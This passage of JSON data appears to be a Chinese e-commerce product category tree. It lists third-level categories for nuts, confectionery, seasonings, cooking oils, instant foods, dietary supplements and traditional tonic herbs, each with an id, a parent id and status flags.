leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32149,"name":"其他","parent_cid":20333,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23184,"name":"白果/银杏果","parent_cid":20331,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23190,"name":"鲍鱼果","parent_cid":20331,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23196,"name":"豆类制品","parent_cid":20331,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23179,"name":"瓜子","parent_cid":20331,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23189,"name":"核桃仁","parent_cid":20331,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23181,"name":"花生","parent_cid":20331,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23195,"name":"混合坚果","parent_cid":20331,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23193,"name":"坚果制品","parent_cid":20331,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23192,"name":"即食板栗","parent_cid":20331,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23188,"name":"开心果","parent_cid":20331,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23187,"name":"山核桃","parent_cid":20331,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23177,"name":"松子","parent_cid":20331,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23182,"name":"香榧","parent_cid":20331,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23186,"name":"小银杏","parent_cid":20331,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23194,"name":"夏威夷果","parent_cid":20331,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23183,"name":"杏仁/巴旦木","parent_cid":20331,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23180,"name":"腰果","parent_cid":20331,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23191,"name":"长寿果/碧根果","parent_cid":20331,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23178,"name":"榛子","parent_cid":20331,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23185,"name":"纸皮/薄皮核桃","parent_cid":20331,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23377,"name":"果冻/布丁","parent_cid":20354,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23378,"name":"口香糖","parent_cid":20354,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23376,"name":"糖果","parent_cid":20354,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23375,"name":"喜糖","parent_cid":20354,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28216,"name":"调味酱","parent_cid":21665,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28215,"name":"调味料","parent_cid":21665,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28217,"name":"豆腐乳","parent_cid":21665,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28214,"name":"果酱","parent_cid":21665,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28221,"name":"日常调味品","parent_cid":21665,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28218,"name":"食用糖","parent_cid":21665,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28219,"name":"寿司料理/料理调料","parent_cid":21665,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32139,"name":"腌菜/榨菜/酱菜/泡菜","parent_cid":21665,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28220,"name":"其它调味品","parent_cid":21665,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28267,"name":"方便粉丝/米线/螺蛳粉","parent_cid":21675,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28262,"name":"方便面/拉面/面皮/面饼","parent_cid":21675,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28266,"name":"方便米饭","parent_cid":21675,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28250,"name":"罐头","parent_cid":21675,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28264,"name":"即食火锅","parent_cid":21675,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28268,"name":"即食肉类/速食肠类","parent_cid":21675,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32144,"name":"即食腌菜/酱菜/泡菜","parent_cid":21675,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28248,"name":"冷面","parent_cid":21675,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28259,"name":"面条/挂面(待煮面条)","parent_cid":21675,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28263,"name":"人造肉/植物肉速食","parent_cid":21675,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32145,"name":"寿司/饭团","parent_cid":21675,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32146,"name":"速食料理","parent_cid":21675,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28260,"name":"速食汤","parent_cid":21675,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28261,"name":"速食粥","parent_cid":21675,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28265,"name":"意大利面","parent_cid":21675,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28249,"name":"粽子","parent_cid":21675,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28247,"name":"其它","parent_cid":21675,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32147,"name":"其他方便食品","parent_cid":21675,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28242,"name":"成品原料","parent_cid":21673,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28246,"name":"烘焙原料套装","parent_cid":21673,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28244,"name":"烘培辅料","parent_cid":21673,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28243,"name":"烘培原料","parent_cid":21673,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28245,"name":"食品添加剂","parent_cid":21673,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28241,"name":"其他","parent_cid":21673,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28210,"name":"豆类","parent_cid":21664,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28211,"name":"面粉/食用粉","parent_cid":21664,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28209,"name":"米类","parent_cid":21664,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28208,"name":"玉米","parent_cid":21664,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28213,"name":"杂粮组合","parent_cid":21664,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28212,"name":"其它粮食","parent_cid":21664,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28257,"name":"干货/土特产","parent_cid":21674,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28255,"name":"熏腊/香肠/火腿制品","parent_cid":21674,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28235,"name":"菜籽油","parent_cid":21666,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28226,"name":"大豆油","parent_cid":21666,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28236,"name":"调和油","parent_cid":21666,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34052,"name":"动物油脂","parent_cid":21666,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28230,"name":"橄榄油","parent_cid":21666,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28223,"name":"蚝油","parent_cid":21666,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28228,"name":"核桃油","parent_cid":21666,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28237,"name":"红花籽油","parent_cid":21666,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28233,"name":"花椒油","parent_cid":21666,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28234,"name":"花生油","parent_cid":21666,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28239,"name":"葵花籽油","parent_cid":21666,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28232,"name":"米糠油","parent_cid":21666,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28238,"name":"葡萄籽油","parent_cid":21666,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28227,"name":"山茶油","parent_cid":21666,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28224,"name":"香油","parent_cid":21666,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28240,"name":"亚麻籽油/火麻油","parent_cid":21666,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28229,"name":"椰子油","parent_cid":21666,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28225,"name":"鱼露","parent_cid":21666,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28231,"name":"玉米油","parent_cid":21666,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28222,"name":"其它","parent_cid":21666,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28338,"name":"蛋白粉/氨基酸/胶原蛋白","parent_cid":21719,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28339,"name":"动物精华/提取物","parent_cid":21719,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28344,"name":"海外保健机能食品","parent_cid":21719,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33709,"name":"海外细胞营养补充剂","parent_cid":21719,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28345,"name":"海外运动纤体食品","parent_cid":21719,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28342,"name":"海洋生物类","parent_cid":21719,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28334,"name":"菌/菇/微生物发酵","parent_cid":21719,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28343,"name":"丽人海外膳补","parent_cid":21719,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28341,"name":"膳食纤维/碳水化合物","parent_cid":21719,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28337,"name":"维生素/矿物质","parent_cid":21719,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28335,"name":"营养包","parent_cid":21719,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28336,"name":"脂肪酸/脂类","parent_cid":21719,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28340,"name":"植物精华/提取物","parent_cid":21719,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28347,"name":"其他膳食营养补充食品","parent_cid":21719,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28327,"name":"蛋白粉/氨基酸/胶原蛋白","parent_cid":21718,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28328,"name":"动物精华/提取物","parent_cid":21718,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":31994,"name":"功能糖果","parent_cid":21718,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31995,"name":"功能饮品","parent_cid":21718,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28331,"name":"海洋生物类","parent_cid":21718,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28324,"name":"菌/菇/酵素","parent_cid":21718,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28330,"name":"膳食纤维/碳水化合物","parent_cid":21718,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28326,"name":"维生素/矿物质/钙铁锌硒","parent_cid":21718,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28332,"name":"运动营养食品","parent_cid":21718,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28325,"name":"脂肪酸/脂类","parent_cid":21718,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28329,"name":"植物精华/提取物","parent_cid":21718,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28333,"name":"其他膳食营养补充食品","parent_cid":21718,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28950,"name":"阿胶膏/固元膏","parent_cid":22173,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28949,"name":"阿胶浆","parent_cid":22173,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28948,"name":"阿胶块","parent_cid":22173,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28952,"name":"阿胶原粉","parent_cid":22173,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28951,"name":"阿胶制品","parent_cid":22173,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28959,"name":"高丽参及其制品","parent_cid":22185,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28955,"name":"人参/园参及其制品","parent_cid":22185,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28953,"name":"山参","parent_cid":22185,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28956,"name":"西洋参","parent_cid":22185,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33837,"name":"参茸贵细卡券","parent_cid":22172,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28943,"name":"海参","parent_cid":22172,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28947,"name":"红景天","parent_cid":22172,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31997,"name":"花胶/鱼胶礼盒","parent_cid":22172,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28945,"name":"即食花胶/鱼胶","parent_cid":22172,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28942,"name":"元贝","parent_cid":22172,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29034,"name":"蜂产品","parent_cid":22195,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28998,"name":"蜂蜜","parent_cid":22195,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33836,"name":"蜂蜜卡券","parent_cid":22195,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28961,"name":"枸杞","parent_cid":22192,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29041,"name":"枸杞原浆/枸杞制品","parent_cid":22192,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28939,"name":"灵芝孢子粉","parent_cid":22149,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28931,"name":"灵芝粉","parent_cid":22149,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28930,"name":"灵芝片","parent_cid":22149,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28938,"name":"整枝灵芝","parent_cid":22149,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28941,"name":"其它灵芝产品","parent_cid":22149,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28933,"name":"鹿茸片","parent_cid":22150,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28932,"name":"鹿茸枝","parent_cid":22150,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28936,"name":"鹿制膏/鹿制品","parent_cid":22150,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29037,"name":"龟苓膏","parent_cid":22196,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28999,"name":"山药","parent_cid":22196,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29047,"name":"五谷养生营养品","parent_cid":22196,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29036,"name":"养生膏","parent_cid":22196,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34008,"name":"养生菌","parent_cid":22196,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":29035,"name":"养生丸","parent_cid":22196,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29044,"name":"药膳养生汤料","parent_cid":22196,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29040,"name":"滋补凉茶","parent_cid":22196,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33838,"name":"滋补礼盒","parent_cid":22196,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29043,"name":"滋补营养糖","parent_cid":22196,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29000,"name":"紫米","parent_cid":22196,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28957,"name":"即食燕窝","parent_cid":22186,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28954,"name":"燕窝","parent_cid":22186,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33835,"name":"燕窝卡券","parent_cid":22186,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28958,"name":"燕窝制品","parent_cid":22186,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29025,"name":"白扁豆","parent_cid":22194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28984,"name":"白果","parent_cid":22194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28985,"name":"百合","parent_cid":22194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29028,"name":"藏红花","parent_cid":22194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28974,"name":"川贝","parent_cid":22194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28975,"name":"当归","parent_cid":22194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28991,"name":"茯苓","parent_cid":22194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28973,"name":"佛手","parent_cid":22194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28983,"name":"甘草","parent_cid":22194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28993,"name":"葛根","parent_cid":22194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28992,"name":"荷叶","parent_cid":22194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28997,"name":"黄芩","parent_cid":22194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29033,"name":"鸡内金","parent_cid":22194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29030,"name":"金银花","parent_cid":22194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29021,"name":"决明子","parent_cid":22194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28980,"name":"桔梗","parent_cid":22194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28981,"name":"橘皮/陈皮","parent_cid":22194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29046,"name":"龙眼肉(桂圆)","parent_cid":22194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28990,"name":"芦荟","parent_cid":22194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29026,"name":"罗汉果","parent_cid":22194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29024,"name":"玫瑰茄/洛神花","parent_cid":22194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28982,"name":"牛蒡","parent_cid":22194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29027,"name":"胖大海","parent_cid":22194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28989,"name":"芡实","parent_cid":22194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28988,"name":"肉桂","parent_cid":22194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28979,"name":"桑椹","parent_cid":22194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28978,"name":"桑叶","parent_cid":22194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29001,"name":"沙棘/沙棘原浆","parent_cid":22194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28986,"name":"砂仁","parent_cid":22194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29023,"name":"松花粉","parent_cid":22194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29029,"name":"酸枣仁","parent_cid":22194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29022,"name":"天门冬","parent_cid":22194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28976,"name":"杏仁","parent_cid":22194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28995,"name":"银杏","parent_cid":22194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29032,"name":"鱼腥草","parent_cid":22194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28960,"name":"枣","parent_cid":22194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28977,"name":"栀子","parent_cid":22194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28987,"name":"紫苏","parent_cid":22194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29049,"name":"其他药食同源食品","parent_cid":22194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29006,"name":"北沙参","parent_cid":22193,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29045,"name":"传统滋补品其他","parent_cid":22193,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28962,"name":"丹参","parent_cid":22193,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28963,"name":"党参","parent_cid":22193,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28969,"name":"豆蔻","parent_cid":22193,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28965,"name":"杜仲","parent_cid":22193,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28968,"name":"红花","parent_cid":22193,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29005,"name":"化橘红","parent_cid":22193,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28972,"name":"黄芪","parent_cid":22193,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29017,"name":"花生衣","parent_cid":22193,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29019,"name":"辣木籽","parent_cid":22193,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29016,"name":"罗布麻","parent_cid":22193,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28971,"name":"麦冬","parent_cid":22193,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28967,"name":"牛膝","parent_cid":22193,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29009,"name":"山茱萸","parent_cid":22193,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29013,"name":"生地黄","parent_cid":22193,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29010,"name":"熟地黄","parent_cid":22193,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29007,"name":"太子参","parent_cid":22193,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28966,"name":"桃胶","parent_cid":22193,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28964,"name":"天麻","parent_cid":22193,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_g